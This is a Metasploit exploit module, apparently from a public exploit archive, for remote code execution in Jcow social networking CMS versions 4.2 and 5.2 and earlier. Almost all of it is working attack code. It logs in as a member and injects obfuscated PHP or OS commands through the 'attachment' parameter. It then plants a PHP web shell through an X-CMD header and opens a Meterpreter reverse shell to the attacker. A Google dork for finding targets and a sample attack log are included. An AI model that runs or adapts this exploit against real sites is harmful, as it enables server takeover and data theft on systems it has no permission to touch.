Jcow Social Networking Script 4.2 <= 5.2 - Arbitrary Code Execution



# Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution

# Google Dork: "intext: Powered by Jcow"
# Date: 2011-08-26
# Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group>
# Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download
# Version: 4.x:4.2 <= , 5.x: 5.2 <=
# Tested on: FreeBSD
# Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution

#[*] Started reverse handler on 1.2.3.4:4444
#[*] Trying to login as hax0r
#[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff)
#[*] Trying to pwn a shell
#[*] Uploading the payload: /files/h3x00rr.php
#[*] Uploaded successfully
#[*] Getting the shell
#[*] Sending stage (38553 bytes) to 5.6.7.8
#[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011
#

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient


    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'JCow CMS Remote Command 
Execution',
            'Description'    => %q{
                    This module exploits a vulnerability in the JCow Social Networking CMS.
                    In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), 
                    authenticated members can trigger php code execution via
                    "attachment" parameter.
            },
            'Author'         => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $',
            'References'     =>
                [
                    [ 'URL', 'http://www.jcow.net/' ],
                    [ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'BadChars'    => "\#",
                    'Space'       => 4000,
                    'Compat'      =>{'ConnectionType' => 'find'},
                    'Keys' => ['php']            
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Aug 26 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI', [true, "JCow directory path", "/"]),
                OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
                OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
                OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
                OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
                OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
                OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
            ], self.class)
    end

    def check
        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        res = send_request_raw(
            {
                'uri' => uri
            }, 25)

        if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
                ver = $1
                print_status("Target Jcow version is #{ver}")

                vers = ver.split('.').map { |v| v.to_i }

                if (vers[0] == 5) and (vers[1] < 3)
                    return Exploit::CheckCode::Vulnerable 
                elsif (vers[0] == 4) and (vers[1] < 3)
                    return Exploit::CheckCode::Vulnerable             
                elsif (vers[0] < 4) 
                        return Exploit::CheckCode::Vulnerable             
                else
                    return Exploit::CheckCode::Safe
                end
        end
        print_error("Unable to determine exploitability. Go 
Exploiting.")
    end
    
    def exploit
        
        uri_base    = ''
        uri_base << datastore['URI']
        uri_base << '/' if uri_base[-1,1] != '/'

    
        cookie = datastore['COOKIE']        
        if (cookie == nil)
            print_status("Trying to login as 
#{datastore['USERNAME']}")
            cookie = get_login_cookie(uri_base)
            if (not cookie)
                raise RuntimeError, 'Unable to login!'
            end
            print_status("Logged in successfully (cookie: 
#{cookie})")
        else
            print_status("Using authenticated cookie:  
#{cookie}")
        end
        
        if (datastore['PHP'])
            print_status("Executing PHP Code: 
#{datastore['PHP']}")
            run_code(uri_base,cookie,datastore['PHP'])
        end
        
        if (datastore['CMD'])
            print_status("Executing CMD: 
#{datastore['CMD']}")
            run_code(uri_base,cookie, datastore['CMD'],'os')
        end
        
        if (datastore['SHELL'])
            print_status("Trying to pwn a shell")
            get_reverse_shell(uri_base,cookie)
        end

    end


    def get_login_cookie(uri_base)

        cookie = nil

        res = send_request_cgi(
            {
                'method'    => 'POST',
                'uri'       => uri_base +
'?p=member/loginpost',
                'vars_post' =>
                    {
                        'username' => 
datastore['USERNAME'],
                        'password' => 
datastore['PASSWORD']
                    }
            })
        if (not res or res.code != 302)
            print_error("Failed to login")
            if (res.body =~ /<script type="text\/javascript" 
src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
                print_error("Recaptcha 
Enabled\r\nProvide Authenticated Cookie")
            end
            return nil
        end

        if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)            
            cookie = $1
        else
            print_error("Unable to get authenticated 
cookie")
            return
        end
        
        cookie
    end

    def run_code(uri_base, cookie, code, mode='php')

        
        cmd = nil
        
        if mode != 'php'
            cmd = 'error_reporting(0);print+`' << 
Rex::Text.to_hex("#{code}",prefix = "%") << '`'
        else
            cmd = 'error_reporting(0);eval(' <<  
code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')'
        end
        
        
        data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
        res = send_request_cgi(
            {
                'method'    => 'POST',
                'uri'       => uri_base + 
'?p=streampublish',
                'data'         => data , 
                
                'headers'   =>
                    {
                             
                              'Cookie' => 
"PHPSESSID=#{cookie}"
                              
                    },
            })    
        if (res)
            if (res.body.to_s.length > 0)        
                is_session_expired(res.body.to_s)    
                print_status("#{mode.upcase} Command 
Output from the server:")
                print("\n" + res.body.to_s + "\n\n")
            else
                print_error("No data returned from the 
server")
            end
        else
            print_error("Connection Timeout from the 
server")
        end
        
    end
    
    def is_session_expired(pg)
        if (pg =~ /please login first/)
            raise RuntimeError, "Your Login has expired"
        end
    end
    
    def get_reverse_shell(uri_base,cookie)
    
        cmd_php = '<?php ' << payload.encoded << ' ?>'

        shell_file =  'files/' + rand_text_alphanumeric(6) << '.php'
        
        shell_url = uri_base + shell_file
        
        print_status("Uploading the payload: " << shell_url )
        
        encoded_shell_file = shell_file.unpack("C*").collect{|x| 
"chr(#{x})"}.join('.')
        
        encoded_payload = payload.encoded

        cmd = "file_put_contents(#{encoded_shell_file}, 
$_SERVER['HTTP_X_CMD'])"

        data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
        res = send_request_cgi(
            {
                'method'    => 'POST',
                'uri'       => uri_base +
'?p=streampublish',
                'data'         => data , 
                
                'headers'   =>
                    {
                              'X-CMD' => 
cmd_php,
                              
                              'Cookie' => 
"PHPSESSID=#{cookie}"
                              
                    },
            })    

        if (res)
            if (res.code.to_i > 200)
                print_error("Fail to upload : 
#{res.code} #{res.body[0,500].inspect}...")
                return
            elsif (res.code == 200)    
                is_session_expired(res.body.to_s)    
            end            
        end        
        
        
        print_status("Uploaded successfully")
        print_status("Getting the shell")

        res = send_request_raw(
                    {
                        'global' => true,
                        'uri'    => uri_base + shell_file
                        
                    })
                            

        handler
    
    end

end